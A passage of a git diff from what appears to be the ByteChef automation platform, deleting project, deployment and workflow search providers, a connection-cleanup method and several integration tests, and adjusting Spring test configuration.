-        this.projectDeploymentService = projectDeploymentService;
-        this.projectService = projectService;
-    }
-
-    @Override
-    public List<ProjectDeploymentSearchResult> search(String query, int limit) {
-        String queryLower = query.toLowerCase(Locale.ROOT);
-
-        List<ProjectDeployment> deployments = projectDeploymentService.getProjectDeployments();
-
-        if (deployments.isEmpty()) {
-            return List.of();
-        }
-
-        List<Long> projectIds = deployments.stream()
-            .map(ProjectDeployment::getProjectId)
-            .distinct()
-            .toList();
-
-        Map<Long, Project> projectMap = projectService.getProjects(projectIds)
-            .stream()
-            .collect(Collectors.toMap(Project::getId, Function.identity()));
-
-        return deployments.stream()
-            .filter(deployment -> {
-                Project project = projectMap.get(deployment.getProjectId());
-
-                return project != null && containsIgnoreCase(project.getName(), queryLower);
-            })
-            .limit(limit)
-            .map(deployment -> {
-                Project project = projectMap.get(deployment.getProjectId());
-                String projectName = project != null ? project.getName() : "Unknown";
-
-                return new ProjectDeploymentSearchResult(deployment.getId(), projectName);
-            })
-            .toList();
-    }
-
-    @Override
-    public SearchAssetType getAssetType() {
-        return SearchAssetType.DEPLOYMENT;
-    }
-
-    private boolean containsIgnoreCase(String text, String query) {
-        if (text == null) {
-            return false;
-        }
-
-        return text.toLowerCase(Locale.ROOT)
-            .contains(query);
-    }
-}
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectDeploymentSearchResult.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectDeploymentSearchResult.java
deleted file mode 100644
index cce839f54b0..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectDeploymentSearchResult.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.configuration.search;
-
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.automation.search.SearchResult;
-
-/**
- * @author Ivica Cardic
- */
-public record ProjectDeploymentSearchResult(Long id, String projectName) implements SearchResult<Long> {
-
-    @Override
-    public String name() {
-        return projectName;
-    }
-
-    @Override
-    public String description() {
-        return null;
-    }
-
-    @Override
-    public SearchAssetType type() {
-        return SearchAssetType.DEPLOYMENT;
-    }
-}
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectSearchAssetProvider.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectSearchAssetProvider.java
deleted file mode 100644
index ba8cdf87dad..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectSearchAssetProvider.java
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.configuration.search;
-
-import com.bytechef.automation.configuration.service.ProjectService;
-import com.bytechef.automation.search.SearchAssetProvider;
-import com.bytechef.automation.search.SearchAssetType;
-import java.util.List;
-import java.util.Locale;
-import org.springframework.stereotype.Component;
-
-/**
- * @author Ivica Cardic
- */
-@Component
-class ProjectSearchAssetProvider implements SearchAssetProvider {
-
-    private final ProjectService projectService;
-
-    ProjectSearchAssetProvider(ProjectService projectService) {
-        this.projectService = projectService;
-    }
-
-    @Override
-    public List<ProjectSearchResult> search(String query, int limit) {
-        String queryLower = query.toLowerCase(Locale.ROOT);
-
-        return projectService.getProjects(false, null, null, null, null, null)
-            .stream()
-            .filter(
-                project -> containsIgnoreCase(project.getName(), queryLower) ||
-                    containsIgnoreCase(project.getDescription(), queryLower))
-            .limit(limit)
-            .map(project -> new ProjectSearchResult(project.getId(), project.getName(), project.getDescription()))
-            .toList();
-    }
-
-    @Override
-    public SearchAssetType getAssetType() {
-        return SearchAssetType.PROJECT;
-    }
-
-    private boolean containsIgnoreCase(String text, String query) {
-        if (text == null) {
-            return false;
-        }
-
-        return text.toLowerCase(Locale.ROOT)
-            .contains(query);
-    }
-}
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectSearchResult.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectSearchResult.java
deleted file mode 100644
index a479079cfb4..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/ProjectSearchResult.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.configuration.search;
-
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.automation.search.SearchResult;
-
-/**
- * @author Ivica Cardic
- */
-public record ProjectSearchResult(Long id, String name, String description) implements SearchResult<Long> {
-
-    @Override
-    public SearchAssetType type() {
-        return SearchAssetType.PROJECT;
-    }
-}
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/WorkflowSearchAssetProvider.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/WorkflowSearchAssetProvider.java
deleted file mode 100644
index 81370b6403c..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/WorkflowSearchAssetProvider.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.configuration.search;
-
-import com.bytechef.atlas.configuration.domain.Workflow;
-import com.bytechef.atlas.configuration.service.WorkflowService;
-import com.bytechef.automation.configuration.domain.ProjectWorkflow;
-import com.bytechef.automation.configuration.service.ProjectWorkflowService;
-import com.bytechef.automation.search.SearchAssetProvider;
-import com.bytechef.automation.search.SearchAssetType;
-import java.util.List;
-import java.util.Locale;
-import java.util.Map;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-import org.springframework.stereotype.Component;
-
-/**
- * @author Ivica Cardic
- */
-@Component
-class WorkflowSearchAssetProvider implements SearchAssetProvider {
-
-    private final ProjectWorkflowService projectWorkflowService;
-    private final WorkflowService workflowService;
-
-    WorkflowSearchAssetProvider(ProjectWorkflowService projectWorkflowService, WorkflowService workflowService) {
-        this.projectWorkflowService = projectWorkflowService;
-        this.workflowService = workflowService;
-    }
-
-    @Override
-    public List<WorkflowSearchResult> search(String query, int limit) {
-        String queryLower = query.toLowerCase(Locale.ROOT);
-
-        List<ProjectWorkflow> projectWorkflows = projectWorkflowService.getLatestProjectWorkflows();
-
-        if (projectWorkflows.isEmpty()) {
-            return List.of();
-        }
-
-        List<String> workflowIds = projectWorkflows.stream()
-            .map(ProjectWorkflow::getWorkflowId)
-            .toList();
-
-        List<Workflow> workflows = workflowService.getWorkflows(workflowIds);
-
-        Map<String, Workflow> workflowIdToWorkflow = workflows.stream()
-            .collect(Collectors.toMap(Workflow::getId, Function.identity()));
-
-        return projectWorkflows.stream()
-            .filter(projectWorkflow -> {
-                Workflow workflow = workflowIdToWorkflow.get(projectWorkflow.getWorkflowId());
-
-                return workflow != null &&
-                    (containsIgnoreCase(workflow.getLabel(), queryLower) ||
-                        containsIgnoreCase(workflow.getDescription(), queryLower));
-            })
-            .limit(limit)
-            .map(projectWorkflow -> {
-                Workflow workflow = workflowIdToWorkflow.get(projectWorkflow.getWorkflowId());
-
-                return new WorkflowSearchResult(
-                    projectWorkflow.getId(), projectWorkflow.getProjectId(),
-                    workflow.getLabel() != null ? workflow.getLabel() : workflow.getId(), workflow.getDescription());
-            })
-            .toList();
-    }
-
-    @Override
-    public SearchAssetType getAssetType() {
-        return SearchAssetType.WORKFLOW;
-    }
-
-    private boolean containsIgnoreCase(String text, String query) {
-        if (text == null) {
-            return false;
-        }
-
-        return text.toLowerCase(Locale.ROOT)
-            .contains(query);
-    }
-}
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/WorkflowSearchResult.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/WorkflowSearchResult.java
deleted file mode 100644
index a82fffdb16a..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/search/WorkflowSearchResult.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.configuration.search;
-
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.automation.search.SearchResult;
-
-/**
- * @author Ivica Cardic
- */
-public record WorkflowSearchResult(Long id, long projectId, String label, String description)
-    implements SearchResult<Long> {
-
-    @Override
-    public String name() {
-        return label;
-    }
-
-    @Override
-    public SearchAssetType type() {
-        return SearchAssetType.WORKFLOW;
-    }
-}
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/service/ProjectDeploymentWorkflowServiceImpl.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/service/ProjectDeploymentWorkflowServiceImpl.java
index 03ba57fd40a..8bb74cb4672 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/service/ProjectDeploymentWorkflowServiceImpl.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/service/ProjectDeploymentWorkflowServiceImpl.java
@@ -59,29 +59,6 @@ public void delete(long id) {
         projectDeploymentWorkflowRepository.deleteById(id);
     }
 
-    @Override
-    public void deleteProjectDeploymentWorkflowConnection(long connectionId) {
-        List<Long> workflowIds = projectDeploymentWorkflowRepository.findAllIdsByConnectionId(connectionId);
-
-        for (Long workflowId : workflowIds) {
-            ProjectDeploymentWorkflow workflow = projectDeploymentWorkflowRepository.findById(workflowId)
-                .orElse(null);
-
-            if (workflow == null) {
-                continue;
-            }
-
-            List<ProjectDeploymentWorkflowConnection> filteredConnections = workflow.getConnections()
-                .stream()
-                .filter(connection -> !Objects.equals(connection.getConnectionId(), connectionId))
-                .toList();
-
-            workflow.setConnections(filteredConnections);
-
-            projectDeploymentWorkflowRepository.save(workflow);
-        }
-    }
-
     @Override
     @Transactional(readOnly = true)
     public Optional<ProjectDeploymentWorkflow> fetchProjectDeploymentWorkflow(
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/service/ProjectWorkflowServiceImpl.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/service/ProjectWorkflowServiceImpl.java
index c98673d0ddd..c5a8dd9d93c 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/service/ProjectWorkflowServiceImpl.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/automation/configuration/service/ProjectWorkflowServiceImpl.java
@@ -74,11 +74,6 @@ public String getLastWorkflowId(String workflowUuid) {
             .orElseThrow(() -> new IllegalArgumentException("No workflow found for workflow uuid " + workflowUuid));
     }
 
-    @Override
-    public List<ProjectWorkflow> getLatestProjectWorkflows() {
-        return projectWorkflowRepository.findAllLatestPerUuid();
-    }
-
     @Override
     public List<Long> getProjectProjectWorkflowIds(long projectId, int projectVersion) {
         return projectWorkflowRepository.findAllByProjectIdAndProjectVersion(projectId, projectVersion)
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/automation/automation-configuration/automation-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index b84b27c2df2..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.automation.configuration.config.AutomationConfigurationJdbcRepositoryConfiguration
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/config/ProjectIntTestConfiguration.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/config/ProjectIntTestConfiguration.java
index a9e246da11b..dc3396b295a 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/config/ProjectIntTestConfiguration.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/config/ProjectIntTestConfiguration.java
@@ -54,7 +54,7 @@
 import org.springframework.context.annotation.ComponentScan;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.Import;
-import org.springframework.data.jdbc.repository.config.EnableJdbcAuditing;
+import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
 import tools.jackson.databind.ObjectMapper;
 
 /**
@@ -62,9 +62,9 @@
  */
 @ComponentScan(
     basePackages = {
-        "com.bytechef.commons.util", "com.bytechef.jackson.config",
+        "com.bytechef.atlas.configuration.repository.jdbc", "com.bytechef.commons.util", "com.bytechef.jackson.config",
         "com.bytechef.platform.category", "com.bytechef.automation.configuration", "com.bytechef.platform.connection",
-        "com.bytechef.platform.tag", "com.bytechef.platform.configuration.service"
+        "com.bytechef.platform.tag"
     })
 @EnableAutoConfiguration
 @EnableCaching
@@ -119,7 +119,12 @@ WorkflowService workflowService(
         return new WorkflowServiceImpl(cacheManager, workflowCrudRepositories, workflowRepositories);
     }
 
-    @EnableJdbcAuditing(auditorAwareRef = "auditorProvider", dateTimeProviderRef = "auditingDateTimeProvider")
+    @EnableJdbcRepositories(
+        basePackages = {
+            "com.bytechef.atlas.configuration.repository.jdbc", "com.bytechef.platform.category.repository",
+            "com.bytechef.automation.configuration.repository", "com.bytechef.platform.tag.repository",
+            "com.bytechef.platform.configuration.repository"
+        })
     public static class ProjectIntTestJdbcConfiguration extends AbstractIntTestJdbcConfiguration {
 
         private final ObjectMapper objectMapper;
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/config/ProjectIntTestConfigurationSharedMocks.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/config/ProjectIntTestConfigurationSharedMocks.java
index 77cf95a78e4..92e69253bba 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/config/ProjectIntTestConfigurationSharedMocks.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/config/ProjectIntTestConfigurationSharedMocks.java
@@ -26,6 +26,7 @@
 import com.bytechef.platform.configuration.facade.WorkflowNodeParameterFacade;
 import com.bytechef.platform.configuration.service.EnvironmentService;
 import com.bytechef.platform.configuration.service.WorkflowNodeTestOutputService;
+import com.bytechef.platform.configuration.service.WorkflowTestConfigurationService;
 import com.bytechef.platform.connection.facade.ConnectionFacade;
 import com.bytechef.platform.connection.service.ConnectionService;
 import com.bytechef.platform.githubproxy.client.GitHubProxyClient;
@@ -54,7 +55,7 @@
     JobFacade.class, JobService.class, ConnectionService.class, PrincipalJobFacade.class, PrincipalJobService.class,
     TaskExecutionService.class, TriggerDefinitionService.class, TriggerExecutionService.class,
     TriggerLifecycleFacade.class, UserService.class, WorkflowCacheManager.class, WorkflowNodeParameterFacade.class,
-    WorkflowNodeTestOutputService.class
+    WorkflowNodeTestOutputService.class, WorkflowTestConfigurationService.class
 })
 public @interface ProjectIntTestConfigurationSharedMocks {
 }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/facade/ProjectDeploymentFacadeIntTest.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/facade/ProjectDeploymentFacadeIntTest.java
index 54782097f87..e0235aae14f 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/facade/ProjectDeploymentFacadeIntTest.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/facade/ProjectDeploymentFacadeIntTest.java
@@ -19,16 +19,12 @@
 import static org.assertj.core.api.Assertions.assertThat;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.ArgumentMatchers.anyList;
 import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.atLeastOnce;
-import static org.mockito.Mockito.reset;
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.when;
 
 import com.bytechef.atlas.execution.domain.Job;
 import com.bytechef.atlas.execution.facade.JobFacade;
-import com.bytechef.atlas.execution.service.JobService;
 import com.bytechef.automation.configuration.config.ProjectIntTestConfiguration;
 import com.bytechef.automation.configuration.config.ProjectIntTestConfigurationSharedMocks;
 import com.bytechef.automation.configuration.domain.Workspace;
@@ -46,9 +42,7 @@
 import com.bytechef.platform.tag.repository.TagRepository;
 import com.bytechef.platform.workflow.execution.service.PrincipalJobService;
 import com.bytechef.test.config.testcontainers.PostgreSQLContainerConfiguration;
-import java.time.Instant;
 import java.util.List;
-import java.util.Optional;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Disabled;
@@ -109,9 +103,6 @@ public class ProjectDeploymentFacadeIntTest {
     @Autowired
     private JobFacade jobFacade;
 
-    @Autowired
-    private JobService jobService;
-
     @Autowired
     private PrincipalJobService principalJobService;
 
@@ -356,108 +347,4 @@ public void testUpdateProjectDeploymentWorkflowProjectDeploymentDisabledShouldNo
     public void testUpdateProjectDeploymentTags() {
         // TODO
     }
-
-    @Test
-    public void testWorkflowLastExecutionDateFiltersJobsByDeploymentId() {
-        // Given - Create a project with a workflow and deploy it
-        ProjectDTO projectDTO = projectDeploymentFacadeHelper.createProject(workspace.getId());
-
-        ProjectDeploymentDTO projectDeploymentDTO = projectDeploymentFacadeHelper.createProjectDeployment(
-            workspace.getId(), projectDTO);
-
-        long deploymentId = projectDeploymentDTO.id();
-
-        // And mock job execution - simulate a job that ran in this deployment
-        long jobIdForThisDeployment = 12345L;
-        Instant executionTime = Instant.parse("2024-06-15T10:30:00Z");
-
-        Job mockJob = new Job();
-
-        mockJob.setEndDate(executionTime);
-
-        when(principalJobService.fetchLastWorkflowJobId(eq(deploymentId), anyList(), eq(PlatformType.AUTOMATION)))
-            .thenReturn(Optional.of(jobIdForThisDeployment));
-        when(jobService.getJob(jobIdForThisDeployment))
-            .thenReturn(mockJob);
-
-        // When - Get the project deployment (which fetches workflow execution dates)
-        ProjectDeploymentDTO result = projectDeploymentFacade.getProjectDeployment(deploymentId);
-
-        // Then - Verify that fetchLastWorkflowJobId was called with THIS deployment's ID
-        // This ensures execution dates are filtered by deployment, not fetched globally
-        verify(principalJobService, atLeastOnce()).fetchLastWorkflowJobId(
-            eq(deploymentId), anyList(), eq(PlatformType.AUTOMATION));
-
-        // And the workflow should have the execution date from the mocked job
-        assertThat(result.projectDeploymentWorkflows())
-            .hasSize(1)
-            .first()
-            .satisfies(workflow -> assertThat(workflow.lastExecutionDate()).isEqualTo(executionTime));
-    }
-
-    @Test
-    public void testWorkflowLastExecutionDateIsolatedBetweenDeployments() {
-        // Given - Create a project with a workflow
-        ProjectDTO projectDTO = projectDeploymentFacadeHelper.createProject(workspace.getId());
-
-        // And create TWO deployments (simulating different environments)
-        ProjectDeploymentDTO deployment1 = projectDeploymentFacadeHelper.createProjectDeployment(
-            workspace.getId(), projectDTO);
-
-        ProjectDeploymentDTO deployment2 = projectDeploymentFacadeHelper.createProjectDeploymentForEnvironment(
-            workspace.getId(), projectDTO, Environment.STAGING);
-
-        long deployment1Id = deployment1.id();
-        long deployment2Id = deployment2.id();
-
-        // And mock different job executions for each deployment
-        long jobIdForDeployment1 = 1001L;
-        long jobIdForDeployment2 = 2002L;
-        Instant executionTime1 = Instant.parse("2024-06-01T10:00:00Z");
-        Instant executionTime2 = Instant.parse("2024-06-15T15:00:00Z");
-
-        Job mockJob1 = new Job();
-
-        mockJob1.setEndDate(executionTime1);
-
-        Job mockJob2 = new Job();
-
-        mockJob2.setEndDate(executionTime2);
-
-        // Reset mocks to clear default stub
-        reset(principalJobService);
-
-        when(principalJobService.fetchLastWorkflowJobId(eq(deployment1Id), anyList(), eq(PlatformType.AUTOMATION)))
-            .thenReturn(Optional.of(jobIdForDeployment1));
-        when(principalJobService.fetchLastWorkflowJobId(eq(deployment2Id), anyList(), eq(PlatformType.AUTOMATION)))
-            .thenReturn(Optional.of(jobIdForDeployment2));
-
-        when(jobService.getJob(jobIdForDeployment1))
-            .thenReturn(mockJob1);
-        when(jobService.getJob(jobIdForDeployment2))
-            .thenReturn(mockJob2);
-
-        // Re-stub getJobIds for other tests
-        when(principalJobService.getJobIds(any(), any(), any(), any(), any(), any(), anyInt()))
-            .thenReturn(Page.empty());
-
-        // When - Get each deployment
-        ProjectDeploymentDTO result1 = projectDeploymentFacade.getProjectDeployment(deployment1Id);
-        ProjectDeploymentDTO result2 = projectDeploymentFacade.getProjectDeployment(deployment2Id);
-
-        // Then - Each deployment should have its OWN execution date, not mixed up
-        assertThat(result1.projectDeploymentWorkflows())
-            .first()
-            .satisfies(workflow -> assertThat(workflow.lastExecutionDate()).isEqualTo(executionTime1));
-
-        assertThat(result2.projectDeploymentWorkflows())
-            .first()
-            .satisfies(workflow -> assertThat(workflow.lastExecutionDate()).isEqualTo(executionTime2));
-
-        // Verify the correct deployment IDs were used in the queries
-        verify(principalJobService, atLeastOnce()).fetchLastWorkflowJobId(
-            eq(deployment1Id), anyList(), eq(PlatformType.AUTOMATION));
-        verify(principalJobService, atLeastOnce()).fetchLastWorkflowJobId(
-            eq(deployment2Id), anyList(), eq(PlatformType.AUTOMATION));
-    }
 }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/facade/WorkspaceConnectionFacadeIntTest.java b/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/facade/WorkspaceConnectionFacadeIntTest.java
deleted file mode 100644
index c88c1a9ac4f..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-service/src/test/java/com/bytechef/automation/configuration/facade/WorkspaceConnectionFacadeIntTest.java
+++ /dev/null
@@ -1,263 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.configuration.facade;
-
-import static org.assertj.core.api.Assertions.assertThat;
-
-import com.bytechef.automation.configuration.config.ProjectIntTestConfiguration;
-import com.bytechef.automation.configuration.config.ProjectIntTestConfigurationSharedMocks;
-import com.bytechef.automation.configuration.domain.ProjectDeploymentWorkflow;
-import com.bytechef.automation.configuration.domain.ProjectDeploymentWorkflowConnection;
-import com.bytechef.automation.configuration.domain.Workspace;
-import com.bytechef.automation.configuration.dto.ProjectDTO;
-import com.bytechef.automation.configuration.dto.ProjectDeploymentDTO;
-import com.bytechef.automation.configuration.repository.ProjectDeploymentRepository;
-import com.bytechef.automation.configuration.repository.ProjectDeploymentWorkflowRepository;
-import com.bytechef.automation.configuration.repository.ProjectRepository;
-import com.bytechef.automation.configuration.repository.ProjectWorkflowRepository;
-import com.bytechef.automation.configuration.repository.WorkspaceRepository;
-import com.bytechef.automation.configuration.util.ProjectDeploymentFacadeHelper;
-import com.bytechef.platform.category.repository.CategoryRepository;
-import com.bytechef.platform.configuration.domain.WorkflowTestConfiguration;
-import com.bytechef.platform.configuration.domain.WorkflowTestConfigurationConnection;
-import com.bytechef.platform.configuration.repository.WorkflowTestConfigurationRepository;
-import com.bytechef.platform.tag.repository.TagRepository;
-import com.bytechef.test.config.testcontainers.PostgreSQLContainerConfiguration;
-import java.util.List;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.context.annotation.Import;
-
-/**
- * @author Ivica Cardic
- */
-@SpringBootTest(
-    classes = ProjectIntTestConfiguration.class,
-    properties = {
-        "bytechef.workflow.repository.jdbc.enabled=true"
-    })
-@Import(PostgreSQLContainerConfiguration.class)
-@ProjectIntTestConfigurationSharedMocks
-public class WorkspaceConnectionFacadeIntTest {
-
-    @Autowired
-    private CategoryRepository categoryRepository;
-
-    @Autowired
-    private ProjectFacade projectFacade;
-
-    @Autowired
-    private ProjectRepository projectRepository;
-
-    @Autowired
-    private ProjectDeploymentRepository projectDeploymentRepository;
-
-    @Autowired
-    private ProjectDeploymentWorkflowRepository projectDeploymentWorkflowRepository;
-
-    @Autowired
-    private ProjectDeploymentFacade projectDeploymentFacade;
-
-    @Autowired
-    private ProjectWorkflowFacade projectWorkflowFacade;
-
-    @Autowired
-    private ProjectWorkflowRepository projectWorkflowRepository;
-
-    @Autowired
-    private TagRepository tagRepository;
-
-    @Autowired
-    private WorkflowTestConfigurationRepository workflowTestConfigurationRepository;
-
-    @Autowired
-    private WorkspaceConnectionFacade workspaceConnectionFacade;
-
-    @Autowired
-    private WorkspaceRepository workspaceRepository;
-
-    private ProjectDeploymentFacadeHelper projectDeploymentFacadeHelper;
-
-    private Workspace workspace;
-
-    @AfterEach
-    public void afterEach() {
-        workflowTestConfigurationRepository.deleteAll();
-        projectDeploymentWorkflowRepository.deleteAll();
-        projectWorkflowRepository.deleteAll();
-        projectDeploymentRepository.deleteAll();
-        projectRepository.deleteAll();
-        workspaceRepository.deleteAll();
-
-        categoryRepository.deleteAll();
-        tagRepository.deleteAll();
-    }
-
-    @BeforeEach
-    void beforeEach() {
-        workspace = workspaceRepository.save(new Workspace("test"));
-
-        projectDeploymentFacadeHelper = new ProjectDeploymentFacadeHelper(
-            categoryRepository, projectFacade, projectRepository, projectDeploymentFacade, projectWorkflowFacade,
-            projectWorkflowRepository);
-    }
-
-    @Test
-    public void testDisconnectConnectionRemovesProjectDeploymentWorkflowConnection() {
-        // Given - Create a project with deployment and add a connection to the workflow
-        ProjectDTO projectDTO = projectDeploymentFacadeHelper.createProject(workspace.getId());
-
-        ProjectDeploymentDTO projectDeploymentDTO =
-            projectDeploymentFacadeHelper.createProjectDeployment(workspace.getId(), projectDTO);
-
-        // Get the project deployment workflow and add a connection
-        List<ProjectDeploymentWorkflow> workflows =
-            projectDeploymentWorkflowRepository.findAllByProjectDeploymentId(projectDeploymentDTO.id());
-
-        assertThat(workflows).hasSize(1);
-
-        ProjectDeploymentWorkflow workflow = workflows.getFirst();
-
-        long connectionId = 12345L;
-
-        workflow.setConnections(
-            List.of(new ProjectDeploymentWorkflowConnection(connectionId, "connectionKey", "nodeName")));
-
-        projectDeploymentWorkflowRepository.save(workflow);
-
-        // Verify the connection was added
-        List<ProjectDeploymentWorkflow> workflowsWithConnection =
-            projectDeploymentWorkflowRepository.findAllByProjectDeploymentId(projectDeploymentDTO.id());
-
-        assertThat(workflowsWithConnection.getFirst()
-            .getConnections()).hasSize(1);
-        assertThat(workflowsWithConnection.getFirst()
-            .getConnections()
-            .getFirst()
-            .getConnectionId())
-                .isEqualTo(connectionId);
-
-        // When - Disconnect the connection
-        workspaceConnectionFacade.disconnectConnection(connectionId);
-
-        // Then - Verify the connection was removed from the project deployment workflow
